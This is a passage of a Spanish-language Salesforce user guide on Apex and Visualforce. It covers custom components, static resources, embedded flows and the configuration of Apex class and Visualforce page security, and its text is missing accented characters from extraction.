rpido para guardar los cambios y continuar modificando el componente. La marca de Visualforce debe ser vlida para poder
guardar el componente.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 77

Nota: Tambin puede crear un componente en Modo de desarrollo de Visualforce agregando una referencia a un componente
personalizado que ya no exista en la marca de pgina de Visualforce. Despus de guardar la marca, aparecer un vnculo rpido
que le permite crear una nueva definicin de componente (incluyendo cualquier atributo especificado), en funcin del nombre
que le asigne al componente.
Por ejemplo, si an no ha definido un componente personalizado denominado miNuevocomponente e introduce
<c:miNuevocomponente miNuevoatributo ="foo"/> en una marca existente, despus de hacer en Guardar
aparecer un vnculo rpido que le permitir definir un nuevo componente personalizado denominado miNuevocomponente
con la siguiente definicin predeterminada:
<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->
</apex:component>

Puede modificar esta definicin en Configuracin haciendo clic en Desarrollo > Componentes y luego haciendo clic en Modificar
junto al componente personalizado miNuevocomponente.

CONSULTE TAMBIN
Qu es un componente personalizado?
Qu es un componente personalizado?

Visualizacin y modificacin de componentes personalizados de Visualforce


En Configuracin, haga clic en Desarrollo > Componentes y haga clic en el nombre del
componente personalizado para ver su definicin.
Desde la pgina de detalles, tambin puede realizar lo siguiente:
Haga clic en Modificar para modificar el componente personalizado.
Hacer clic en Eliminar para eliminar el componente personalizado.
Haga clic en Duplicar para crear una copia del componente personalizado. Debe especificar
un nuevo nombre para el nuevo componente.
Haga clic en Dnde se utiliza? para ver una lista de todas las referencias sobre el componente
personalizado de su organizacin.
Haga clic en Mostrar dependencias para mostrar los elementos, como otra competencia,
permiso o preferencia que deba existir para que este componente personalizado sea vlido.
Una vez ha creado su componente, puede visualizarlo en

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para duplicar, modificar,
eliminar o definir versiones
de componentes
personalizados:
Personalizar aplicacin

http://miInstanciadeSalesforce/apexcomponent/Nombrenuevocomponente, donde el valor de


miInstanciadeSalesforce es el nombre de host de su instancia de Salesforce (por ejemplo, na3.salesforce.com) y
el valor de Nombrenuevocomponente es el valor del campo Nombre de la definicin del componente personalizado.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 78

El componente se muestra como una pgina de Visualforce. En consecuencia, si su componente se basa en atributos o en el contenido
del cuerpo de una etiqueta de un componente, esta URL puede generar resultados no esperados. Para comprobar un componente
personalizado con mayor precisin, agrguelo a una pgina de Visualforce y visualice la pgina.
CONSULTE TAMBIN
Qu es un componente personalizado?

Gestin de componentes personalizados de Visualforce


Una vez creados los componentes personalizados, podr visualizarlos, modificarlos y eliminarlos.
En Configuracin, haga clic en Desarrollo > Componentes para visualizar la pgina de lista
Componentes, que muestra la lista de componentes personalizados definidos para su organizacin.
Desde esta pgina, puede:
Hacer clic en Nuevo para definir un nuevo componente personalizado.
Hacer clic en un nombre de componente personalizado para visualizar informacin detallada
sobre el componente.
Haga clic en Modificar para modificar el nombre o marca de componente.
Nota: Un icono
indica que un componente personalizado de Visualforce est en un
paquete gestionado instalado. No puede modificar o eliminar un componente
personalizado de Visualforce en un paquete gestionado. Un icono
indica que un
componente personalizado de Visualforce en un paquete gestionado y editado anterior
se eliminar en la prxima carga del paquete. Puede seleccionar recuperar el componente
personalizado de Visualforce mediante la pgina de detalles del paquete.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear y modificar
componentes
personalizados:
Personalizar aplicacin

Haga clic en Eliminar para eliminar un componente personalizado de su organizacin.


Nota: El prefijo de espacio de nombres se agrega a clases y desencadenadores de Apex,
componentes y pginas de Visualforce, plantillas de marca, carpetas, S-Control, recursos
estticos, vnculos Web y tipos de informes personalizados si se incluyen en un paquete
gestionado. Sin embargo, si no dispone de permisos de personalizacin de la aplicacin, no
se mostrar el campo de prefijo del espacio de nombres para plantillas de marca, carpetas y
tipos de informes personalizados.

Recursos estticos
Qu es un recurso esttico?
Los recursos estticos le permiten cargar contenido al que pueda hacer referencia en una pgina
de Visualforce, lo que incluye archivos (como archivos .zip y .jar), imgenes, hojas de estilo, programas
JavaScript y otros archivos.
Es preferible utilizar un recurso esttico a descargar un archivo en la ficha Documentos debido a
que:
Puede agrupar una coleccin de archivos relacionados en una jerarqua de directorios y cargarla
como un archivo .zip o .jar.
Puede hacer referencia a un recurso esttico en la marca de pgina por el nombre mediante
la variable global $Resource en lugar de codificar los Id. de documento:

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 79

Para hacer referencia a un archivo independiente, utilice $Resource.<nombre_recurso> como campo de combinacin,
donde <nombre_recurso> es el nombre que especific al cargar el recurso. Por ejemplo:
<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>

o bien
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>

Para hacer referencia a un archivo, utilice la funcin URLFOR. Especifique el nombre de recurso esttico que proporcion al
cargar el archivo con el primer parmetro y la ruta al archivo que desee dentro del archivo con el segundo. Por ejemplo:
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50" height="50"/>

o bien
<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>

Puede utilizar rutas relativas en archivos en archivos comprimidos de recursos estticos para hacer referencia a otros contenidos en
el archivo. Por ejemplo, en su archivo CSS, llamado styles.css, tiene los siguientes estilos:
table { background-image: img/testimage.gif }

Si utiliza ese archivo CSS en una pgina de Visualforce, debe asegurarse de que el archivo CSS puede encontrar la imagen. Para ello,
cree un archivo comprimido (como un archivo zip) que incluya styles.css y img/testimage.gif. Compruebe que la
estructura de la ruta se conserva en el archivo comprimido. A continuacin cargue el archivo comprimido como un recurso esttico
llamado style_resources. A continuacin, en su pgina, agregue el siguiente componente:
<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>

Como el recurso esttico contiene la hoja de estilos y la imagen, la ruta relativa de la hoja de estilos se resuelve y la imagen se muestra.
Un nico recurso esttico puede tener hasta 5 MB de tamao. Cada organizacin puede tener hasta 250 MB de recursos estticos.
Recursos estticos que se aplican a la cuota de almacenamiento de datos de su organizacin.
CONSULTE TAMBIN
Definicin de recursos estticos

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 80

Definicin de recursos estticos


Para crear un recurso esttico:

EDICIONES

1. En Configuracin, haga clic en Desarrollo > Recursos estticos.


2. Haga clic en Nuevo recurso esttico.
3. En el cuadro de texto Nombre, introduzca el texto que se debera utilizar para identificar el
recurso en la marca de Visualforce. Este nombre slo puede incluir guiones bajos y caracteres
alfanumricos y debe ser exclusivo de su organizacin. Debe comenzar por una letra, no terminar
con un guin bajo y no contener espacios ni dos guiones bajos consecutivos.
Nota: Si hace referencia a un recurso esttico en la marca de Visualforce y, a continuacin,
cambia el nombre del recurso, la marca de Visualforce se actualiza para reflejar el cambio.
4. En el rea de texto Descripcin, especifique una descripcin opcional del recurso.
5. Junto al cuadro de texto Archivo, haga clic en Examinar para navegar a una copia local del
recurso que desea cargar.
Un nico recurso esttico puede tener un tamao de hasta 5 MB y una organizacin puede
contener hasta 250 MB de recursos estticos en total.

Disponible en: Contact


Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear recursos
estticos:
Personalizar aplicacin

6. Establezca el Control de cach:


Privado especifica que los datos de recurso esttico guardados en la memoria cach del servidor Salesforce no deberan
compartirse con otros usuarios. El recurso esttico solo se almacena en la memoria cach para la sesin actual del usuario.
Nota: La configuracin de la memoria cach de los recursos estticos se define a privada cuando se accede a ella a travs
de un sitio de Force.com cuyo perfil del usuario invitado tiene restricciones segn el intervalo de IP o el horario de inicio
de sesin. Sitios con recursos estticos de la memoria cach con restricciones del perfil de usuario invitado slo en el
explorador. Adems, si se restringe un sitio que anteriormente no estaba restringido, los recursos estticos pueden tardar
hasta 45 das en caducar de la memoria cach de Salesforce y todas las memorias cach intermedias.
Pblico especifica que los datos de recurso esttico guardados en la memoria cach del servidor Salesforce son compartidos
con otros usuarios de su organizacin para los tiempos de carga ms rpidos.
Las especificaciones W3C de las Definiciones de campo de encabezado contienen ms informacin tcnica sobre el control de cach.
Nota: Esta funcin slo es compatible con organizaciones que tengan Sites activado y que utilicen el recurso esttico.
7. Haga clic en Guardar.
PRECAUCIN: Si est usando WinZip, asegrese de instalar la versin ms reciente. Las versiones ms antiguas de WinZip pueden
dar lugar a una prdida de datos.
CONSULTE TAMBIN
Vista y modificacin de recursos estticos
Qu es un recurso esttico?

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 81

Vista y modificacin de recursos estticos


En Configuracin, haga clic en Desarrollo > Recursos estticos y, a continuacin, haga clic en el
nombre de un recurso para ver los detalles, incluido el tipo MIME, el tamao del recurso en bytes,
la fecha de creacin y la fecha de ltima modificacin.
Desde la pgina de detalles, tambin puede realizar lo siguiente:
Haga clic en Modificar para modificar el recurso.
Hacer clic en Eliminar para eliminar el recurso.
Haga clic en Duplicar para crear una copia del recurso. Debe especificar un nuevo nombre
para el recurso nuevo.
Haga clic en Dnde se utiliza? para ver una lista de todas las referencias al recurso esttico
de su organizacin.
CONSULTE TAMBIN
Definicin de recursos estticos

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para duplicar, modificar o
eliminar recursos estticos:
Personalizar aplicacin

Gestin de recursos estticos


Qu es un recurso esttico?

Gestin de recursos estticos


Una vez creados los recursos estticos, podr personalizarlos, modificarlos y eliminarlos. En
Configuracin, haga clic en Desarrollo > Recursos estticos para visualizar la pgina de lista
Recursos estticos, que muestra la lista de recursos definidos para su organizacin. Desde esta
pgina, puede:
Haga clic en Nuevo recurso esttico para definir un nuevo recurso esttico.
Hacer clic en el nombre del recurso para visualizar informacin detallada sobre la pgina, incluido
su tipo MIME y tamao.
Hacer clic en Modificar junto a un recurso para modificar el nombre del recurso o cargar una
nueva versin del recurso.
Hacer clic en Eliminar para eliminar un recurso.
Nota: El prefijo de espacio de nombres se agrega a clases y desencadenadores de Apex,
componentes y pginas de Visualforce, plantillas de marca, carpetas, S-Control, recursos
estticos, vnculos Web y tipos de informes personalizados si se incluyen en un paquete
gestionado. Sin embargo, si no dispone de permisos de personalizacin de la aplicacin, no
se mostrar el campo de prefijo del espacio de nombres para plantillas de marca, carpetas y
tipos de informes personalizados.
CONSULTE TAMBIN
Vista y modificacin de recursos estticos
Qu es un recurso esttico?

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear y modificar
recursos estticos:
Personalizar aplicacin

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 82

Flujos en Visualforce
Adicin de un flujo a una pgina de Visualforce
Para personalizar la apariencia y aspecto de un flujo o mejorar sus funcionalidades puede incrustarlo
como un componente en una pgina de Visualforce. Si su organizacin ha activado flujos para sitios
y portales, a continuacin podr distribuir el flujo a su sitio de Force.com, usuarios del Portal de
clientes o portal de socios.
Nota: Los usuarios slo pueden ejecutar flujos que tengan una versin activa. Si el flujo que
ha incrustado no tiene una versin activa, los usuarios vern un mensaje de error. Si el flujo
que ha incrustado incluye un elemento de flujo secundario, ese flujo al que se hace referencia
y denominado como elemento de subflujo debe tener una versin activa.
Para agregar un flujo a una pgina de Visualforce, incrstelo utilizando el componente
<flow:interview>:
1. Busque el nombre nico del flujo:
a. Vaya a la pgina de lista de flujos. En Configuracin, haga clic en Crear > Flujo de trabajo
y aprobaciones > Flujos.
b. Haga clic en el nombre del flujo que desee incrustar.
2. Defina una nueva pgina de Visualforce o abra una que desee modificar.
3. Agregue el componente <flow:interview /> en alguna parte entre las etiquetas
<apex:page>.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear, modificar y
establecer la configuracin
de la versin de pginas de
Visualforce:
Personalizar aplicacin
Para activar, desactivar o
eliminar un flujo o modificar
propiedades del flujo:
Gestionar Force.com
Flow

4. Establezca el atributo de nombre al nombre nico del flujo. Por ejemplo:


<apex:page>
<flow:interview name="MyUniqueFlowName"/>
</apex:page>

Nota: Si el flujo pertenece a un paquete gestionado, entonces el atributo de name debera tener este formato:
namespace.flowuniquename.
5. Restrinja los usuarios que pueden ejecutar el flujo configurando la seguridad de la pgina para la pgina de Visualforce que lo
contenga.
Si la pgina de Visualforce que contiene el flujo se distribuye externamente a usuarios del sitio o del portal, cualquiera de esos usuarios
con acceso a la pgina de Visualforce podr ejecutar el flujo incrustado.
Si la pgina de Visualforce que contiene el flujo se ofrece a los usuarios en su organizacin a travs de una ficha Web personalizada,
un vnculo o un botn, los usuarios deben tener acceso a la pgina. Tambin deben disponer del permiso Ejecutar flujos o tener
activado el campo Usuario de flujo de Force.com en su pgina de detalles de usuario.
6. Especifique qu sucede cuando un usuario hace clic en Finalizar en una pantalla de flujo al configurar el comportamiento de
finalizacin del flujo.
CONSULTE TAMBIN
Descripcin general de la seguridad de pgina de Visualforce

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 83

Configuracin del comportamiento de finalizacin del flujo


Debido a que los flujos se presentan mediante Visualforce, puede utilizar el atributo
finishLocation para redirigir a los usuarios a otra pantalla de Salesforce cuando hacen clic
en Finalizar.
Cuando incruste el flujo en una pgina de Visualforce, configure el comportamiento de finalizacin
del flujo de una de las siguientes formas.
Para enrutar usuarios a la URL relativa, un registro especfico o la pgina de detalles, use su Id.
y la funcin URLFOR.
Este ejemplo enva los usuarios a la pgina de inicio de Salesforce.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear, modificar y
establecer la configuracin
de la versin de pginas de
Visualforce:
Personalizar aplicacin

<apex:page>
<flow:interview name="MyUniqueFlow" finishLocation="{!URLFOR('/home/home.jsp')}"/>
</apex:page>

No puede redirigir los usuarios del flujo a una URL externa de su organizacin de Salesforce.
Para enrutar los usuarios a otra pgina de Visualforce sin usar URLFOR, defina finishLocation con el nombre de la pgina
de destino con el formato {!$Page.pageName}.
<apex:page>
<flow:interview name="MyUniqueFlow" finishLocation="{!$Page.MyUniquePage}"/>
</apex:page>

Para ver ms ejemplos, consulte "Configuracin del atributo finishLocation en un Flujo" en la Gua del desarrollador de Visualforce.
Nota: Si ofrece a sus usuarios un flujo desde un botn, enlace o ficha Web personalizados que dirija a la URL del flujo, recomendamos
que no utilice retURL en la ruta URL para redirigirlos. Utilizar retURL puede hacer que la pgina de destino que especifique
se presente con barras de navegacin superiores y laterales dentro de las barras de navegacin superiores y laterales ya existentes
de Salesforce.
CONSULTE TAMBIN
Adicin de un flujo a una pgina de Visualforce

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 84

Activacin y desactivacin de Chat para pginas de Visualforce


Aada un dispositivo de chat a sus pginas personalizadas de Visualforce.

EDICIONES

1. Desde Configuracin, haga clic Personalizar > Chatter > Configuracin de Chat.
2. Haga clic en Modificar.
3. En Configuracin de Visualforce, seleccione Permitir.
Cancele la seleccin para desactivar el chat en pginas personalizadas de Visualforce.
4. Haga clic en Guardar.
Para evitar que aparezca el dispositivo de chat en una pgina especfica de Visualforce, realice una
de estas acciones:

Disponible en: Group


Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager Edition y
Developer Edition

Desactive el encabezado de la ficha de Salesforce en su pgina estableciendo <apex:page


showHeader=false>.

PERMISOS DE USUARIO

Configure el tipo de contenido de la pgina en algo que no sea text/html, por


ejemplo, <apex:page contentType="text/plain">.

Para activar el chat para


pginas personalizadas de
Visualforce
Personalizar aplicacin

Seguridad de cdigo
Proteccin de su cdigo
Esta seccin contiene informacin sobre cmo implementar seguridad en su cdigo.
Descripcin general de seguridad de clase de Apex
Configuracin de la seguridad de pgina de Visualforce desde una definicin de pgina.
Sugerencias de seguridad para el desarrollo de Apex y Visualforce

Seguridad Apex
Descripcin general de seguridad de clase de Apex
Puede especificar los usuarios que pueden ejecutar los mtodos de un nivel superior concreto de
clase de Apex en funcin de su perfil o de un conjunto de permisos asociado. Estos permisos slo
son aplicables a los mtodos de clase de Apex como mtodos de servicio Web o cualquier mtodo
utilizado en un controlador de Visualforce personalizado o en una extensin de controlador aplicada
a una pgina de Visualforce. Los desencadenadores siempre activan eventos de desencadenador
(como insert o update) independientemente del permiso del usuario.
Nota: Si ha instalado un paquete gestionado en su organizacin, puede establecer la
seguridad nicamente para las clases de Apex en ese paquete que estn declaradas como
global, o para clases que contengan mtodos declarados como webService.

EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition

Si los usuarios tienen el permiso Apex de autor, pueden acceder a todas las clases de Apex
en la organizacin asociada, sin tener en cuenta la configuracin de seguridad para clases
individuales.
El permiso de una clase de Apex se selecciona solamente en el nivel superior. Por ejemplo, si una clase A llama a la clase B y un perfil de
usuario slo tiene acceso a la clase A, pero no a la clase B, el usuario puede ejecutar el cdigo en la clase A. Del mismo modo, si una
pgina de Visualforce utiliza un componente personalizado con un controlador asociado, slo se comprueba la seguridad del controlador

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 85

asociado con la pgina. El controlador asociado con el componente personalizado se ejecuta con independencia de los permisos
establecidos.
Puede establecer la seguridad de clase de Apex a travs de:
La pgina de lista de clases de Apex
Una pgina de detalles de clases de Apex
Conjuntos de permisos
Perfiles
CONSULTE TAMBIN
Sugerencias de seguridad para el desarrollo de Apex y Visualforce

Ajuste de acceso a clase de Apex desde la pgina de lista de clase


1. Desde Configuracin, haga clic en Desarrollo > Clases de Apex .

EDICIONES

2. Junto al nombre de la clase que desea restringir, haga clic en Seguridad.


3. Seleccione los perfiles que quiere activar desde la lista Perfiles disponibles y haga clic en Aadir,
o seleccione los perfiles que quiere desactivar de la lista Perfiles activados y haga clic en Eliminar.
4. Haga clic en Guardar.

Disponible en: Enterprise


Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

CONSULTE TAMBIN
Ajuste de acceso a clase de Apex desde la pgina de detalles de clase

PERMISOS DE USUARIO

Configuracin de acceso a la clase de Apex desde los conjuntos de permisos


Configuracin de acceso a la clase de Apex desde los perfiles

Para establecer la
seguridad de clase de Apex:
Autor de Apex
Y
Personalizar aplicacin

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 86

Ajuste de acceso a clase de Apex desde la pgina de detalles de clase


1. Desde Configuracin, haga clic en Desarrollo > Clases de Apex .

EDICIONES

2. Haga clic en el nombre de la clase que desee restringir.

5. Haga clic en Guardar.

Disponible en: Enterprise


Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

CONSULTE TAMBIN

PERMISOS DE USUARIO

3. Haga clic en Seguridad.


4. Seleccione los perfiles que quiere activar desde la lista Perfiles disponibles y haga clic en Aadir,
o seleccione los perfiles que quiere desactivar de la lista Perfiles activados y haga clic en Eliminar.

Ajuste de acceso a clase de Apex desde la pgina de lista de clase


Configuracin de acceso a la clase de Apex desde los conjuntos de permisos
Configuracin de acceso a la clase de Apex desde los perfiles

Para establecer la
seguridad de clase de Apex:
Autor de Apex
Y
Personalizar aplicacin

Configuracin de acceso a la clase de Apex desde los conjuntos de permisos


Puede especificar qu mtodos de una clase de Apex de nivel superior se pueden ejecutar para un
conjunto de permisos. Estas configuraciones slo son aplicables a los mtodos de clase de Apex
como mtodos de servicio Web o cualquier mtodo utilizado en un controlador de Visualforce
personalizado o en una extensin de controlador aplicada a una pgina de Visualforce. Los
desencadenadores siempre activan eventos de desencadenador (como insert o update)
independientemente de la configuracin del permiso.
1. En Configuracin, haga clic en Gestionar usuarios > Conjuntos de permisos.

EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition

2. Seleccione un conjunto de permisos.


3. Haga clic en Acceso a la clase de Apex.

PERMISOS DE USUARIO

4. Haga clic en Modificar.

Para editar la configuracin


de acceso de clases Apex:
Gestionar conjuntos de
permisos y perfiles

5. Seleccione las clases de Apex que quiere activar desde la lista de clases de Apex disponibles y
haga clic en Aadir, o seleccione las clases de Apex que quiere desactivar la lista de clases de
Apex activadas y haga clic en Eliminar.
6. Haga clic en Guardar.
CONSULTE TAMBIN
Ajuste de acceso a clase de Apex desde la pgina de lista de clase
Ajuste de acceso a clase de Apex desde la pgina de detalles de clase
Configuracin de acceso a la clase de Apex desde los perfiles

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 87

Configuracin de acceso a la clase de Apex desde los perfiles


Puede especificar qu mtodos de una clase de Apex de nivel superior se pueden ejecutar para un
perfil. Estas configuraciones slo son aplicables a los mtodos de clase de Apex como mtodos de
servicio Web o cualquier mtodo utilizado en un controlador de Visualforce personalizado o en
una extensin de controlador aplicada a una pgina de Visualforce. Los desencadenadores siempre
activan eventos de desencadenador (como insert o update) independientemente de la
configuracin del perfil.
1. En Configuracin, haga clic en Gestionar usuarios > Perfiles.

EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition

2. Seleccione un perfil y haga clic en su nombre.


3. En la pgina o lista relacionada Acceso a clase de Apex, haga clic en Modificar.

PERMISOS DE USUARIO

4. Seleccione las clases de Apex que quiere activar desde la lista de clases de Apex disponibles y
haga clic en Aadir, o seleccione las clases de Apex que quiere desactivar la lista de clases de
Apex activadas y haga clic en Eliminar.

Para modificar los perfiles:


Gestionar conjuntos de
permisos y perfiles

5. Haga clic en Guardar.


CONSULTE TAMBIN
Ajuste de acceso a clase de Apex desde la pgina de lista de clase
Ajuste de acceso a clase de Apex desde la pgina de detalles de clase
Configuracin de acceso a la clase de Apex desde los conjuntos de permisos

Creacin de motivos de colaboracin de Apex


Cuando cree colaboracin gestionada por Apex, cree motivos de colaboracin de Apex para objetos
personalizados individuales para indicar la razn por la que se implement, simplificar la codificacin
necesaria para actualizar y eliminar registros de colaboracin y compartir un registro varias veces
con el mismo usuario o grupo utilizando diferentes motivos de colaboracin de Apex.
Nota: Para obtener ms informacin sobre la colaboracin gestionada por Apex, consulte
la Gua del desarrollador del cdigo Apex de Force.com.
Salesforce muestra los motivos de colaboracin de Apex en la columna Motivo cuando visualice
la colaboracin de un registro de objeto personalizado en la interfaz del usuario. Esto permite a
usuarios y administradores comprender el objetivo de la colaboracin.
Cuando trabaje con motivos de colaboracin de Apex, tenga en cuenta lo siguiente:
Slo los usuarios con el permiso Modificar todos los datos pueden agregar, modificar o eliminar
la colaboracin que utiliza un motivo de colaboracin de Apex.
La eliminacin de un motivo de colaboracin de Apex eliminar tambin toda la colaboracin
del objeto que utiliza ese motivo.
Puede crear hasta 10 motivos de colaboracin de Apex por objeto personalizado.
Puede crear motivos de colaboracin de Apex utilizando la API de metadatos.
Para crear un motivo de colaboracin de Apex:
1. Desde Configuracin, haga clic en Crear > Objetos.
2. Seleccione el objeto personalizado.
3. Haga clic en Nuevo en la lista relacionada Motivos de colaboracin de Apex.

EDICIONES
Disponible en: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para crear motivos de
colaboracin de Apex:
"Apex de autor"
Para visualizar motivos de
colaboracin de Apex:
Ver parmetros y
configuracin

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 88

4. Introduzca una etiqueta para el motivo de colaboracin de Apex: La etiqueta se mostrar en la columna Motivo cuando visualice
la colaboracin de un registro en la interfaz de usuario. La etiqueta tambin est activada para la traduccin a travs del Sistema de
traduccin.
5. Introduzca un nombre para el motivo de colaboracin de Apex: El nombre se utiliza para hacer referencia al motivo cuando se utiliza
la API y Apex. Este nombre slo puede incluir guiones bajos y caracteres alfanumricos y debe ser exclusivo de su organizacin.
Debe comenzar por una letra, no terminar con un guin bajo y no contener espacios ni dos guiones bajos consecutivos.
6. Haga clic en Guardar.
CONSULTE TAMBIN
Nuevo clculo de la colaboracin gestionada por Apex

Nuevo clculo de la colaboracin gestionada por Apex


Importante: Cuando empaquete objetos personalizados, tenga en cuenta que los nuevos
clculos de colaboracin de Apex tambin se incluyen y pueden impedir que se instale el
paquete.
Los desarrolladores pueden escribir clases de Apex por lotes que vuelvan a calcular la colaboracin
gestionada por Apex para un objeto personalizado especfico. Puede asociar estas clases con un
objeto personalizado en su pgina de detalles y ejecutarlos si un problema de bloqueo evita que
Apex permita el acceso a un usuario tal y como se define en la lgica de la aplicacin. Los nuevos
clculos de colaboracin de Apex tambin son tiles para resolver problemas de visibilidad debidos
a errores de codificacin. Por ejemplo, si un desarrollador corrige un error de codificacin que
impidi que algunos usuarios accedieran a registros que deberan ver, puede que la correccin slo
afecte a los registros creados tras la actualizacin de cdigo. Para asegurar que la correccin se
aplica tambin a registros existentes, el desarrollador puede ejecutar un nuevo clculo de
colaboracin de Apex que valide la colaboracin en todos los registros.
Puede ejecutar nuevos clculos de colaboracin de Apex desde la pgina de detalles de un objeto
personalizado. Tambin puede ejecutarlos programticamente mediante el mtodo
Database.executeBatch. Adems, Salesforce ejecuta automticamente clases de nuevo
clculo de Apex definidas para un objeto personalizado cada vez que se actualiza el nivel de acceso
predeterminado de toda la organizacin a ese objeto personalizado.
Nota: Salesforce calcula automticamente de nuevo la colaboracin de todos los registros
de un objeto cuando cambia su nivel de acceso predeterminado de colaboracin de toda la
organizacin. El nuevo clculo incluye acceso garantizado mediante reglas de colaboracin.
Adems, todos los tipos de colaboracin se eliminan si el acceso que otorgan es redundante.
Por ejemplo, la colaboracin manual que otorga acceso de Slo lectura a un usuario se elimina
cuando el modelo de colaboracin del objeto cambia de Privado a Slo lectura pblica.

EDICIONES
Disponible en: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para asociar una clase de
nuevo clculo de
colaboracin gestionada
por Apex:
"Apex de autor"
Para ejecutar un nuevo
clculo de colaboracin
gestionada por Apex:
Apex de autor
O
Gestionar colaboracin

Para obtener ms informacin acerca de la creacin de la colaboracin gestionada por Apex y las clases de nuevo clculo, consulte la
Gua del desarrollador del cdigo Apex de Force.com.
Para asociar una clase de nuevo clculo de colaboracin gestionada por Apex a un objeto personalizado:
1. Desde Configuracin, haga clic en Crear > Objetos.
2. Seleccione el objeto personalizado.
3. Haga clic en Nuevo en la lista relacionada Nuevo clculo de colaboracin de Apex.
4. Seleccione la clase de Apex que vuelve a calcular la colaboracin de Apex para este objeto. La clase que seleccione debe implementar
la interfaz Database.Batchable. No se puede asociar la misma clase de Apex varias veces con el mismo objeto personalizado.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 89

5. Haga clic en Guardar.


Para ejecutar un nuevo clculo de colaboracin de Apex:
1. Desde Configuracin, haga clic en Crear > Objetos.
2. Seleccione el objeto personalizado.
3. Haga clic en Volver a calcular colaboracin de Apex.
Cuando trabaje con nuevos clculos de colaboracin de Apex, tenga en cuenta lo siguiente:
El cdigo Apex que extiende el nuevo clculo de colaboracin puede procesar hasta un mximo de cinco millones de registros. Si
este cdigo de Apex afecta a ms de cinco millones de registros, el trabajo falla de inmediato.
Puede supervisar el estado de los nuevos clculos de colaboracin de Apex en la cola de trabajos de Apex.
Puede asociar hasta un mximo de cinco nuevos clculos de colaboracin de Apex por objeto personalizado.
No puede asociar nuevos clculos de colaboracin de Apex con objetos estndar.
CONSULTE TAMBIN
Creacin de motivos de colaboracin de Apex

Seguridad de Visualforce
Descripcin general de la seguridad de pgina de Visualforce
Puede especificar los usuarios que pueden ejecutar una pgina concreta de Visualforce en funcin
de su perfil o de un conjunto de permisos asociado.
El permiso de una pgina de Visualforce se selecciona solamente en el nivel superior. Una vez que
los usuarios pueden acceder a una pgina, pueden ejecutar todo el Apex asociado con la pgina.
Incluye:
El controlador de la pgina y cualquier clase de Apex activada desde la clase del controlador.
Cualquier clase de extensin de la pgina y cualquier Apex activada desde una extensin.
Cualquier clase de Apex asociada con componentes personalizados de la pgina.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

Cualquier clase asociada con la pgina a travs del uso de apex:include o


apex:composition.
Por ejemplo, si una pgina A depende de un controlador que activa una clase B de Apex y un usuario slo tiene acceso a la clase A pero
no a la clase B, el usuario puede ejecutar el cdigo en la pgina A. Del mismo modo, si una pgina de Visualforce utiliza un componente
personalizado con un controlador asociado, slo se comprueba la seguridad del controlador asociado con la pgina, no el controlador
asociado con el componente.
Puede establecer la seguridad de pgina de Visualforce desde:
Una definicin de pgina de Visualforce
Conjuntos de permisos
Perfiles
Si los usuarios tienen el permiso "Personalizar aplicacin", pueden acceder a todas las pginas de Visualforce en la organizacin asociada.
Sin embargo, pueden tener restricciones relacionadas con las clases de Apex. El permiso Personalizar aplicacin no permite a los
usuarios ignorar estas restricciones en una pgina de Visualforce a no ser que tengan acceso a la pgina Visualforce.
